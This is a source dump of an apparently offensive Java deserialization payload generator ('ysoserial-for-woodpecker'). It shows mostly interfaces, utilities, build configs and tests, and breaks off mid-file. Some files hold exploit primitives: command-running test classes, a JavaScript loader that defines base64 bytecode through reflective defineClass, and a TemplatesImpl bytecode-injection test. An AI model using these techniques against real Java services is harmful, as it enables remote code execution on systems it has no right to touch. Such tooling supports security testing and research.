├── src ├── test │ └── java │ │ ├── testfile │ │ ├── sleep.js │ │ ├── JavaScriptTest.js │ │ └── define.js │ │ ├── Calc.jar │ │ ├── me │ │ └── gv7 │ │ │ └── woodpecker │ │ │ └── yso │ │ │ └── test │ │ │ ├── CustomPayloadArgs.java │ │ │ ├── CustomDeserializer.java │ │ │ ├── CustomTest.java │ │ │ ├── util │ │ │ ├── Throwables.java │ │ │ ├── Files.java │ │ │ ├── OS.java │ │ │ └── Callables.java │ │ │ ├── WrappedTest.java │ │ │ ├── exploit │ │ │ └── RMIRegistryExploitTest.java │ │ │ └── payloads │ │ │ ├── CommandExecTest.java │ │ │ ├── JRMPReverseConnectTest.java │ │ │ ├── JRMPReverseConnectSMTest.java │ │ │ ├── TestHarnessTest.java │ │ │ ├── FileUploadTest.java │ │ │ └── RemoteClassLoadingTest.java │ │ ├── Calc.java │ │ ├── A.java │ │ ├── TemaplateTest.java │ │ └── TestForClass.java └── main │ └── java │ ├── me │ └── gv7 │ │ └── woodpecker │ │ └── yso │ │ ├── payloads │ │ ├── DynamicDependencies.java │ │ ├── ReleaseableObjectPayload.java │ │ ├── annotation │ │ │ ├── PayloadTest.java │ │ │ ├── Dependencies.java │ │ │ └── Authors.java │ │ ├── util │ │ │ ├── ClassUtil.java │ │ │ ├── JavaVersion.java │ │ │ ├── ClassFiles.java │ │ │ ├── PayloadRunner.java │ │ │ ├── DirtyDataWrapper.java │ │ │ ├── Reflections.java │ │ │ └── CommonUtil.java │ │ ├── CommonsBeanutils2.java │ │ ├── Spring3.java │ │ ├── Groovy1.java │ │ ├── ROME.java │ │ ├── custom │ │ │ └── CustomCommand.java │ │ ├── CommonsBeanutils1.java │ │ ├── CommonsCollectionsK2.java │ │ ├── FindClassByBomb.java │ │ ├── CommonsCollectionsK1.java │ │ ├── FastJson.java │ │ ├── CommonsCollections2.java │ │ ├── CommonsBeanutils3.java │ │ ├── JRMPListener.java │ │ ├── CommonsCollectionsK4.java │ │ ├── CommonsCollectionsK3.java │ │ ├── Hibernate2.java │ │ ├── CommonsCollections11.java │ │ ├── JRMPClient2.java │ │ ├── CommonsCollections6Lite.java │ │ ├── FindClassByDNS.java │ │ ├── CommonsCollections4.java │ │ ├── CommonsCollections8.java │ │ ├── Clojure.java │ │ ├── CommonsBeanutils2_183.java │ │ ├── Myfaces2.java │ │ ├── CommonsCollections3.java │ │ ├── CommonsBeanutils1_183.java │ │ ├── CommonsCollections1.java │ │ ├── CommonsCollections7.java │ │ ├── Spring2.java │ │ ├── CommonsCollections9.java │ │ ├── CommonsBeanutils3_183.java │ │ ├── JRMPClient.java │ │ ├── C3P0.java │ │ ├── Click1.java │ │ ├── Jdk7u21.java │ │ ├── Spring1.java │ │ ├── C3P0Tomcat.java │ │ ├── CommonsCollections5.java │ │ ├── MozillaRhino1.java │ │ ├── URLDNS.java │ │ ├── Vaadin1.java │ │ ├── CommonsCollections10.java │ │ ├── Myfaces1.java │ │ ├── AspectJWeaver.java │ │ ├── BeanShell1.java │ │ ├── C3P0_LowVer.java │ │ ├── JBossInterceptors1.java │ │ └── JavassistWeld1.java │ │ ├── JavassistClassLoader.java │ │ ├── YsoConfig.java │ │ ├── Serializer.java │ │ ├── Deserializer.java │ │ ├── exploit │ │ ├── JMXInvokeMBean.java │ │ ├── JRMPClassLoadingListener.java │ │ ├── JSF.java │ │ ├── JenkinsReverse.java │ │ └── RMIRegistryExploit.java │ │ ├── Strings.java │ │ └── secmgr │ │ └── ExecCheckingSecurityManager.java │ └── com │ └── sun │ └── org │ └── apache │ └── bcel │ └── internal │ └── util │ └── ClassLoader.java ├── ysoserial.png ├── .editorconfig ├── .gitignore ├── Dockerfile ├── assembly.xml ├── appveyor.yml ├── .travis.yml └── README.md /src/test/java/testfile/sleep.js: -------------------------------------------------------------------------------- 1 | java.lang.Thread.sleep(new java.lang.Long(6000)); 2 | -------------------------------------------------------------------------------- /ysoserial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woodpecker-framework/ysoserial-for-woodpecker/HEAD/ysoserial.png -------------------------------------------------------------------------------- /src/test/java/Calc.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woodpecker-framework/ysoserial-for-woodpecker/HEAD/src/test/java/Calc.jar -------------------------------------------------------------------------------- /src/test/java/testfile/JavaScriptTest.js: -------------------------------------------------------------------------------- 1 | new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /System/Applications/Calculator.app']).start(); 2 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/DynamicDependencies.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface DynamicDependencies { 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/CustomPayloadArgs.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface CustomPayloadArgs { 9 | 10 | 11 | String getPayloadArgs (); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | end_of_line = lf 5 | charset = utf-8 6 | trim_trailing_whitespace = true 7 | insert_final_newline = true 8 | indent_style = space 9 | indent_size = 4 10 | max_line_length = 120 11 | 12 | [*.{yml,yaml}] 13 | indent_size = 2 14 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/JavassistClassLoader.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso; 2 | 3 | public class JavassistClassLoader extends ClassLoader { 4 | public JavassistClassLoader(){ 5 | super(Thread.currentThread().getContextClassLoader()); 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/CustomDeserializer.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface CustomDeserializer { 9 | 10 | 11 | Class getCustomDeserializer (); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # java 2 | *.class 3 | 4 | # mvn 5 | target/ 6 | 7 | # eclipse 8 | .classpath 9 | .project 10 | .settings/ 11 | 12 | # idea 13 | .idea/ 14 | *.iml 15 | 16 | # tests 17 | pwntest 18 | 19 | .DS_Store 20 | *.ser 21 | *.jar 22 | SSRF1.java 23 | URLDNSFindClass.java 24 | src/test/java/* 25 | *.txt 26 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/ReleaseableObjectPayload.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface ReleaseableObjectPayload extends ObjectPayload { 9 | 10 | void release( T obj ) throws Exception; 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/com/sun/org/apache/bcel/internal/util/ClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.sun.org.apache.bcel.internal.util; 2 | 3 | /** 4 | * 解决在OpenJDK下没有com.sun.org.apache.bcel.internal.util.ClassLoader,导致javassist编译bcel相关的class报错问题。 5 | */ 6 | public class ClassLoader extends java.lang.ClassLoader { 7 | public ClassLoader(){} 8 | } 9 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/CustomTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | /** 6 | * @author mbechler 7 | * 8 | */ 9 | public interface CustomTest extends CustomPayloadArgs { 10 | 11 | void run (Callable payload) throws Exception; 12 | } 13 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/util/Throwables.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.util; 2 | 3 | public class Throwables { 4 | public static Throwable getInnermostCause(final Throwable t) { 5 | final Throwable cause = t.getCause(); 6 | return cause == null || cause == t ? t : getInnermostCause(cause); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/WrappedTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | /** 6 | * @author mbechler 7 | * 8 | */ 9 | public interface WrappedTest extends CustomPayloadArgs { 10 | 11 | Callable createCallable ( Callable innerCallable ); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/YsoConfig.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso; 2 | 3 | public class YsoConfig { 4 | private boolean isCompress = false; 5 | 6 | public boolean isCompress() { 7 | return isCompress; 8 | } 9 | 10 | public void setCompress(boolean compress) { 11 | isCompress = compress; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/Calc.java: -------------------------------------------------------------------------------- 1 | import java.io.IOException; 2 | 3 | public class Calc { 4 | public Calc() throws IOException { 5 | Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","open /System/Applications/Calculator.app/Contents/MacOS/Calculator"}); 6 | } 7 | 8 | public Calc(String args) throws IOException { 9 | Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",args}); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/util/Files.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.util; 2 | 3 | import java.io.File; 4 | 5 | public class Files { 6 | public static void waitForFile(File file, int timeoutMs) throws InterruptedException { 7 | long timeout = System.currentTimeMillis() + timeoutMs; 8 | while (! file.exists() && System.currentTimeMillis() < timeout) { 9 | Thread.sleep(10); 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3.5-jdk-8 as builder 2 | 3 | WORKDIR /app 4 | 5 | # download artifacts 6 | COPY pom.xml . 7 | COPY assembly.xml . 8 | RUN mvn dependency:resolve 9 | RUN mvn verify 10 | RUN mvn compiler:help 11 | 12 | # build 13 | COPY src ./src 14 | RUN mvn clean package -DskipTests 15 | RUN mv target/ysoserial-*all*.jar target/ysoserial.jar 16 | 17 | FROM java:8-jdk-alpine 18 | 19 | WORKDIR /app 20 | 21 | COPY --from=builder /app/target/ysoserial.jar . 22 | 23 | ENTRYPOINT ["java", "-jar", "ysoserial.jar"] 24 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/annotation/PayloadTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.annotation; 2 | 3 | import java.lang.annotation.Retention; 4 | import java.lang.annotation.RetentionPolicy; 5 | 6 | /** 7 | * @author mbechler 8 | * 9 | */ 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface PayloadTest { 12 | String skip() default ""; 13 | 14 | String precondition() default ""; 15 | 16 | String harness() default ""; 17 | 18 | String flaky() default ""; 19 | } 20 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/exploit/RMIRegistryExploitTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.exploit; 2 | 3 | import java.rmi.RemoteException; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.rmi.registry.Registry; 6 | 7 | public class RMIRegistryExploitTest { 8 | public static void createRegistry(int port) throws RemoteException { 9 | Registry registry = LocateRegistry.createRegistry(port); 10 | } 11 | 12 | public static void main(String[] args) throws RemoteException, InterruptedException { 13 | String portStr = args.length > 0 && args[0] != null ? args[0] : "1099"; 14 | int port = Integer.parseInt(portStr); 15 | createRegistry(port); 16 | while (true) Thread.sleep(1000); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/util/OS.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.util; 2 | 3 | public enum OS { 4 | WINDOWS, 5 | LINUX, 6 | OSX, 7 | OTHER; 8 | 9 | private static final OS os = determineOs(); 10 | 11 | public static OS get() { 12 | return os; 13 | } 14 | 15 | private static OS determineOs() { 16 | String osName = System.getProperty("os.name", "other").toLowerCase(); 17 | if (osName.contains("windows")) { 18 | return WINDOWS; 19 | } else if (osName.contains("mac os x")) { 20 | return OSX; 21 | } else if (osName.contains("linux")) { 22 | return LINUX; 23 | } else { 24 | return OTHER; 25 | } 26 | } 27 | 28 | public static String getTmpDir() { 29 | return System.getProperty("java.io.tmpdir"); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/Serializer.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.util.concurrent.Callable; 8 | 9 | public class Serializer implements Callable { 10 | private final Object object; 11 | public Serializer(Object object) { 12 | this.object = object; 13 | } 14 | 15 | public byte[] call() throws Exception { 16 | return serialize(object); 17 | } 18 | 19 | public static byte[] serialize(final Object obj) throws IOException { 20 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | serialize(obj, out); 22 | return out.toByteArray(); 23 | } 24 | 25 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 26 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 27 | objOut.writeObject(obj); 28 | } 29 | 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/ClassUtil.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import me.gv7.woodpecker.yso.JavassistClassLoader; 6 | 7 | public class ClassUtil { 8 | public static Class genClass(String clazzName) throws Exception { 9 | if(clazzName.startsWith("java.")){ 10 | return loadClass(clazzName); 11 | } 12 | ClassPool classPool = ClassPool.getDefault(); 13 | CtClass ctClass = classPool.makeClass(clazzName); 14 | ctClass.getClassFile().setVersionToJava5(); 15 | Class clazz = ctClass.toClass(new JavassistClassLoader()); 16 | ctClass.defrost(); 17 | return clazz; 18 | } 19 | 20 | public static Class loadClass(String clazzName) throws Exception{ 21 | try{ 22 | return Class.forName(clazzName); 23 | }catch (ClassNotFoundException e){ 24 | return Thread.currentThread().getContextClassLoader().loadClass(clazzName); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/test/java/A.java: -------------------------------------------------------------------------------- 1 | import me.gv7.woodpecker.yso.payloads.FindClassByBomb; 2 | 3 | import java.io.*; 4 | import java.lang.reflect.Field; 5 | import java.lang.reflect.Method; 6 | 7 | public class A implements Serializable { 8 | static final long serialVersionUID = 3514945074733160196L; 9 | private String name; 10 | 11 | public A(String name){ 12 | this.name = name; 13 | } 14 | 15 | private void readObject(java.io.ObjectInputStream s){ 16 | System.out.println("xxxwewjriwe"); 17 | } 18 | 19 | public void doTest(){ 20 | 21 | } 22 | 23 | public void doA() throws FileNotFoundException { 24 | 25 | 26 | } 27 | 28 | 29 | public static void main(String[] args) throws Exception{ 30 | FileOutputStream fileOutputStream = new FileOutputStream("/tmp/X.ser"); 31 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 32 | objectOutputStream.writeObject(A[].class); 33 | 34 | // ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/tmp/X.ser")); 35 | // ois.readObject(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/util/Callables.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.util; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | public class Callables { 6 | public static interface BeforeAfterCallback { 7 | public void before(); 8 | public void after(); 9 | } 10 | 11 | public static class Wrapper implements Callable { 12 | private final Callable callable; 13 | private final BeforeAfterCallback callback; 14 | 15 | public Wrapper(Callable callable, BeforeAfterCallback callback) { 16 | this.callable = callable; 17 | this.callback = callback; 18 | } 19 | 20 | @Override 21 | public T call() throws Exception { 22 | try { 23 | callback.before(); 24 | return callable.call(); 25 | } finally { 26 | callback.after(); 27 | } 28 | } 29 | } 30 | 31 | public static Callable wrap(Callable callable, BeforeAfterCallback callback) { 32 | return new Wrapper(callable, callback); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/test/java/TemaplateTest.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 3 | import me.gv7.woodpecker.yso.payloads.util.ClassFiles; 4 | import me.gv7.woodpecker.yso.payloads.util.CommonUtil; 5 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 6 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 7 | 8 | public class TemaplateTest { 9 | public static void main(String[] args) throws Exception{ 10 | TemplatesImpl templates = new TemplatesImpl(); 11 | 12 | byte[] classBytes = CommonUtil.readFileByte("/Users/c0ny1/Documents/codebak/ysoserial-for-woodpecker/T262700880922880.class"); 13 | 14 | 15 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 16 | classBytes 17 | }); 18 | 19 | // required to make TemplatesImpl happy 20 | Reflections.setFieldValue(templates, "_name", "P"); 21 | Reflections.setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance()); 22 | 23 | templates.getOutputProperties(); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /assembly.xml: -------------------------------------------------------------------------------- 1 | 5 | fat-tests 6 | 7 | jar 8 | 9 | false 10 | 11 | 12 | / 13 | true 14 | true 15 | test 16 | 17 | 18 | 19 | 20 | ${project.build.directory}/test-classes 21 | / 22 | 23 | **/*.class 24 | 25 | true 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Dependencies { 12 | String[] value() default {}; 13 | 14 | public static class Utils { 15 | public static String[] getDependencies(AnnotatedElement annotated) { 16 | Dependencies deps = annotated.getAnnotation(Dependencies.class); 17 | if (deps != null && deps.value() != null) { 18 | return deps.value(); 19 | } else { 20 | return new String[0]; 21 | } 22 | } 23 | 24 | public static String[] getDependenciesSimple(AnnotatedElement annotated) { 25 | String[] deps = getDependencies(annotated); 26 | String[] simple = new String[deps.length]; 27 | for (int i = 0; i < simple.length; i++) { 28 | simple[i] = deps[i].split(":", 2)[1]; 29 | } 30 | return simple; 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | # based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml 2 | 3 | # build version 4 | version: '{build}' 5 | 6 | # Do not build on tags 7 | skip_tags: true 8 | 9 | # enviroment settings 10 | environment: 11 | matrix: 12 | - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 13 | M2_HOME: C:\bin\apache-maven-3.2.5 14 | - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 15 | MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 16 | - JAVA_HOME: C:\Program Files\Java\jdk1.8.0 17 | 18 | matrix: 19 | allow_failures: 20 | - JAVA_HOME: C:\Program Files\Java\jdk1.6.0 21 | - JAVA_HOME: C:\Program Files\Java\jdk1.7.0 22 | 23 | # install required tools (maven, secure-file, encrypted files) 24 | install: 25 | - cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums 26 | - cmd: echo %JAVA_HOME% 27 | - cmd: echo %M2_HOME% 28 | 29 | # build and install artifacts 30 | build_script: 31 | - '"%M2_HOME%\bin\mvn" clean install -DskipTests' 32 | 33 | # verify artifacts 34 | test_script: 35 | - '"%M2_HOME%\bin\mvn" test' 36 | 37 | # preserve dependencies between builds 38 | cache: 39 | - C:\Users\appveyor\.m2 40 | - C:\bin\apache-maven-3.2.5 41 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/Deserializer.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.ObjectInputStream; 9 | import java.util.concurrent.Callable; 10 | 11 | public class Deserializer implements Callable { 12 | private final byte[] bytes; 13 | 14 | public Deserializer(byte[] bytes) { this.bytes = bytes; } 15 | 16 | public Object call() throws Exception { 17 | return deserialize(bytes); 18 | } 19 | 20 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 22 | return deserialize(in); 23 | } 24 | 25 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 26 | final ObjectInputStream objIn = new ObjectInputStream(in); 27 | return objIn.readObject(); 28 | } 29 | 30 | public static void main(String[] args) throws ClassNotFoundException, IOException { 31 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 32 | Object object = deserialize(in); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/test/java/testfile/define.js: -------------------------------------------------------------------------------- 1 | var classLoader = java.lang.Thread.currentThread().getContextClassLoader(); 2 | try{ 3 | classLoader.loadClass("J411323603280984").newInstance(); 4 | }catch (e){ 5 | var clsString = classLoader.loadClass('java.lang.String'); 6 | var bytecodeBase64 = "yv66vgAAADEAcg..."; 7 | var bytecode; 8 | try{ 9 | var clsBase64 = classLoader.loadClass("java.util.Base64"); 10 | var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder"); 11 | var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz); 12 | bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, bytecodeBase64); 13 | } catch (ee) { 14 | var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); 15 | bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, bytecodeBase64); 16 | } 17 | var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); 18 | var clsByteArray = classLoader.loadClass('[B'); 19 | var clsInt = java.lang.Integer.TYPE; 20 | var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); 21 | defineClass.setAccessible(true); 22 | var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length); 23 | clazz.newInstance(); 24 | } 25 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | dist: trusty 2 | language: java 3 | 4 | cache: 5 | directories: 6 | - $HOME/.m2 7 | - $HOME/.mvn/ 8 | 9 | # jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713 10 | addons: 11 | apt: 12 | packages: 13 | - openjdk-6-jdk 14 | 15 | before_install: 16 | - > # install mvn 3.2.5 for use with java6 17 | which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 && 18 | curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz | 19 | tar xz -C $HOME/.mvn/3.2.5 --strip-components=1 20 | - if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi 21 | - mvn -v 22 | 23 | after_script: 24 | - > # print more detailed info about test results 25 | cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml | 26 | grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- -- 27 | 28 | matrix: 29 | allow_failures: 30 | - jdk: oraclejdk11 31 | - jdk: openjdk6 32 | - jdk: openjdk7 33 | - jdk: openjdk9 34 | - jdk: openjdk10 35 | - jdk: openjdk11 36 | include: 37 | #- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884 38 | - jdk: oraclejdk8 39 | - jdk: oraclejdk11 40 | - jdk: openjdk6 41 | env: PATH=$HOME/.mvn/3.2.5/bin:$PATH 42 | - jdk: openjdk7 43 | - jdk: openjdk8 44 | - jdk: openjdk9 45 | - jdk: openjdk10 46 | - jdk: openjdk11 47 | 48 | 49 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/payloads/CommandExecTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.payloads; 2 | 3 | import me.gv7.woodpecker.yso.test.util.Files; 4 | import org.junit.Assert; 5 | import me.gv7.woodpecker.yso.test.CustomTest; 6 | import me.gv7.woodpecker.yso.test.util.OS; 7 | 8 | import java.io.File; 9 | import java.util.UUID; 10 | import java.util.concurrent.Callable; 11 | 12 | public class CommandExecTest implements CustomTest { 13 | private final File testFile = 14 | new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); 15 | 16 | @Override 17 | public void run(Callable payload) throws Exception { 18 | Assert.assertFalse("test file should not exist", testFile.exists()); 19 | try { 20 | payload.call(); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | } 24 | Files.waitForFile(testFile, 5000); 25 | Assert.assertTrue("test file should exist", testFile.exists()); 26 | testFile.deleteOnExit(); 27 | } 28 | 29 | @Override 30 | public String getPayloadArgs() { 31 | switch (OS.get()) { 32 | case OSX: 33 | case LINUX: return "touch " + testFile; 34 | case WINDOWS: return "powershell -command new-item -type file " + testFile; 35 | default: throw new UnsupportedOperationException("unsupported os"); 36 | } 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/JavaVersion.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public class JavaVersion { 9 | public int major; 10 | public int minor; 11 | public int update; 12 | 13 | 14 | public static JavaVersion getLocalVersion() { 15 | String property = System.getProperties().getProperty("java.version"); 16 | if ( property == null ) { 17 | return null; 18 | } 19 | JavaVersion v = new JavaVersion(); 20 | String parts[] = property.split("\\.|_|-"); 21 | int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix 22 | v.major = Integer.parseInt(parts[start + 0]); 23 | v.minor = Integer.parseInt(parts[start + 1]); 24 | v.update = Integer.parseInt(parts[start + 2]); 25 | return v; 26 | } 27 | 28 | public static boolean isAnnInvHUniversalMethodImpl() { 29 | JavaVersion v = JavaVersion.getLocalVersion(); 30 | return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); 31 | } 32 | 33 | public static boolean isBadAttrValExcReadObj() { 34 | JavaVersion v = JavaVersion.getLocalVersion(); 35 | return v != null && (v.major > 8 && v.update >= 76); 36 | } 37 | 38 | public static boolean isAtLeast(int major) { 39 | JavaVersion v = JavaVersion.getLocalVersion(); 40 | return v != null && v.major >= major; 41 | } 42 | } 43 | 44 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/payloads/JRMPReverseConnectTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.payloads; 2 | 3 | 4 | import java.util.concurrent.Callable; 5 | 6 | import javax.management.BadAttributeValueExpException; 7 | 8 | import org.junit.Assert; 9 | 10 | import me.gv7.woodpecker.yso.test.CustomTest; 11 | import me.gv7.woodpecker.yso.exploit.JRMPListener; 12 | 13 | 14 | /** 15 | * @author mbechler 16 | * 17 | */ 18 | public class JRMPReverseConnectTest implements CustomTest { 19 | 20 | private int port; 21 | 22 | 23 | /** 24 | * 25 | */ 26 | public JRMPReverseConnectTest () { 27 | // some payloads cannot specify the port 28 | port = 1099; 29 | } 30 | 31 | 32 | public void run ( Callable payload ) throws Exception { 33 | JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); 34 | Thread t = new Thread(l, "JRMP listener"); 35 | try { 36 | t.start(); 37 | try { 38 | payload.call(); 39 | } 40 | catch ( Exception e ) { 41 | // ignore 42 | } 43 | Assert.assertTrue("Did not have connection", l.waitFor(1000)); 44 | } 45 | finally { 46 | l.close(); 47 | t.interrupt(); 48 | t.join(); 49 | } 50 | } 51 | 52 | 53 | public String getPayloadArgs () { 54 | return "rmi:localhost:" + port; 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /src/test/java/TestForClass.java: -------------------------------------------------------------------------------- 1 | import me.gv7.woodpecker.yso.payloads.CommonsBeanutils1; 2 | import me.gv7.woodpecker.yso.payloads.URLDNS; 3 | import org.apache.commons.collections.functors.ChainedTransformer; 4 | 5 | import java.io.FileOutputStream; 6 | import java.io.ObjectOutputStream; 7 | import java.io.ObjectStreamClass; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | 11 | public class TestForClass { 12 | public static void main(String[] args) throws Exception { 13 | 14 | ObjectStreamClass a = ObjectStreamClass.lookupAny(A.class); 15 | System.out.println(a.getSerialVersionUID()); 16 | // 17 | // List testList = new ArrayList(); 18 | // URLDNS urldns = new URLDNS(); 19 | // testList.add(A.class); 20 | // testList.add(urldns.getObject("http://wwww.baidu.com")); 21 | // 22 | // ObjectOutputStream oos = new 